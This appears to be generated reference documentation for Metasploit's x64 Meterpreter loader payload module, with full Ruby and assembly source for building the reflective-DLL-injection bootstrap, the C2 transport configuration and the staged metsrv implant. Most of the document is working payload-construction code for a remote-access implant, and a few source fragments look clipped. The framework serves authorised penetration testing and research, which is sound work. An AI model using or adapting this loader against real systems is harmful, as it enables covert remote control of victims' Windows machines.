Module: Msf::Payload::Windows::MeterpreterLoader_x64
- Defined in:
- lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb
Constant Summary
Constants included from ReflectiveDLLLoader
ReflectiveDLLLoader::EXPORT_REFLECTIVELOADER, ReflectiveDLLLoader::MIN_CUSTOM_LOADER_SIZE
Instance Method Summary collapse
- #asm_invoke_metsrv(opts = {}) ⇒ Object
- #generate_config(opts = {}) ⇒ Object
- #initialize(info = {}) ⇒ Object
- #stage_meterpreter(opts = {}) ⇒ Object
- #stage_payload(opts = {}) ⇒ Object
Methods included from ReflectiveLoaderX64
Methods included from ReflectiveLoaderCommon
#build_reflective_loader, #datastore_reflective_loader_iv
Methods included from Msf::Payload::Windows
#apply_prepends, exit_types, #handle_intermediate_stage, #include_send_uuid, #replace_var
Methods included from PrependMigrate
#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64
Methods included from ReflectiveDLLLoader
#load_rdi_dll, #load_rdi_dll_from_data
Instance Method Details
#asm_invoke_metsrv(opts = {}) ⇒ Object
35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 |
# File 'lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb', line 35 def asm_invoke_metsrv(opts={}) asm = %Q^ ; prologue db 0x4d, 0x5a ; 'MZ' = "pop r10" push r10 ; back to where we started push rbp ; save rbp mov rbp, rsp ; set up a new stack frame sub rsp, 32 ; allocate some space for calls. and rsp, ~0xF ; Ensure RSP is 16 byte aligned ; GetPC call $+5 ; relative call to get location pop rbx ; pop return value ; Invoke ReflectiveLoader() ; add the offset to ReflectiveLoader() add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x15)} call rbx ; invoke ReflectiveLoader() ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ; offset from ReflectiveLoader() to the end of the DLL add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} ^ unless opts[:stageless] || opts[:force_write_handle] == true asm << %Q^ ; store the comms socket or handle mov [rbx], rdi ^ end asm << %Q^ mov r8, rbx ; r8 points to the extension list push 4 ; push up 4, indicate that we have attached pop rdx ; pop 4 into rdx call rax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ^ end |
#generate_config(opts = {}) ⇒ Object
75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 |
# File 'lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb', line 75 def generate_config(opts={}) ds = opts[:datastore] || datastore opts[:uuid] ||= generate_payload_uuid # Pass the malleable C2 profile through to the transport config so # that staged HTTP(S) meterpreter sessions honour the profile after # the stage is delivered. The option is only registered by HTTP(S) # stagers, so it's nil (and ignored) for other transports. opts[:c2_profile] ||= ds['MALLEABLEC2'] if .include?('MALLEABLEC2') if opts[:c2_profile] opts[:stageless] = true end # create the configuration block, which for staged connections is really simple. config_opts = { arch: opts[:uuid].arch, null_session_guid: opts[:null_session_guid] == true, exitfunk: ds[:exit_func] || ds['EXITFUNC'], expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], extensions: [], ext_format: 'x64.dll', stageless: opts[:stageless] == true, }.merge(meterpreter_logging_config(opts)) # create the configuration instance based off the parameters config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it, prefixed with an 8-byte comms handle # that the stager patches with the active socket/handle "\x00" * 8 + config.to_b end |
#initialize(info = {}) ⇒ Object
19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
# File 'lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb', line 19 def initialize(info = {}) super(update_info(info, 'Name' => 'Reflective DLL Injection', 'Description' => 'Inject a DLL via a reflective loader', 'Author' => [ 'sf', 'OJ Reeves' ], 'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original [ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations ], 'Platform' => 'win', 'Arch' => ARCH_X64, 'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi -https' }, 'Stage' => { 'Payload' => "" } )) end |
#stage_meterpreter(opts = {}) ⇒ Object
107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 |
# File 'lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb', line 107 def stage_meterpreter(opts={}) ds = opts[:datastore] || datastore debug_build = ds['MeterpreterDebugBuild'] loader = nil dll_path = MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll', debug: debug_build) dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: ::File.binread(dll_path)) begin rdi_offset = parse_pe(dll) rescue Rex::PeParsey::PeError => e elog("Failed to parse metsrv (x64) as a PE, falling back to the polymorphic loader: #{e.class}: #{e.}") rdi_offset = nil end # Prefer a site-local custom loader binary if the user has dropped one into # the meterpreter search paths (~/.msf4/user_data/meterpreter/ or # <msf>/data/meterpreter/); otherwise assemble the polymorphic reflective # loader on the fly. custom_loader_path = [ ::MetasploitPayloads.user_meterpreter_dir, ::MetasploitPayloads.msf_meterpreter_dir ].map { |dir| ::File.join(dir, 'custom_loader.x64.bin') }.find { |p| ::File.readable?(p) } use_loader = false if custom_loader_path loader = ::File.binread(custom_loader_path) validate_custom_loader!(loader, custom_loader_path) dlog("Using custom loader from #{custom_loader_path}") ::MetasploitPayloads.warn_local_path(custom_loader_path) use_loader = true end if rdi_offset.nil? && !use_loader loader = reflective_loader(iv: datastore_reflective_loader_iv(ds)) use_loader = true end asm_opts = { # when a custom/polymorphic loader is appended, it must take priority over any # ReflectiveLoader already embedded in the DLL, since that's the loader whose bytes # actually follow the DLL in the payload rdi_offset: use_loader ? dll.length : rdi_offset, length: dll.length + (loader ? loader.length : 0), # total payload length = DLL + reflective loader stageless: opts[:stageless] == true } dlog("Using custom loader from #{custom_loader_path}") if custom_loader_path dlog('Using polymorphic reflective loader') if !custom_loader_path && use_loader dlog("Loader length: #{loader.length} bytes") if use_loader dlog("DLL length: #{dll.length} bytes") dlog("ReflectiveLoader offset: #{asm_opts[:rdi_offset]} bytes") dlog("Configuration offset: #{asm_opts[:length]} bytes") asm = asm_invoke_metsrv(asm_opts) # generate the bootstrap asm bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry if bootstrap.length > 62 raise RuntimeError, "Meterpreter loader (x64) generated an oversized bootstrap!" end # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap dll += loader if use_loader dll end |
#stage_payload(opts = {}) ⇒ Object
71 72 73 |
# File 'lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb', line 71 def stage_payload(opts={}) stage_meterpreter(opts) + generate_config(opts) end |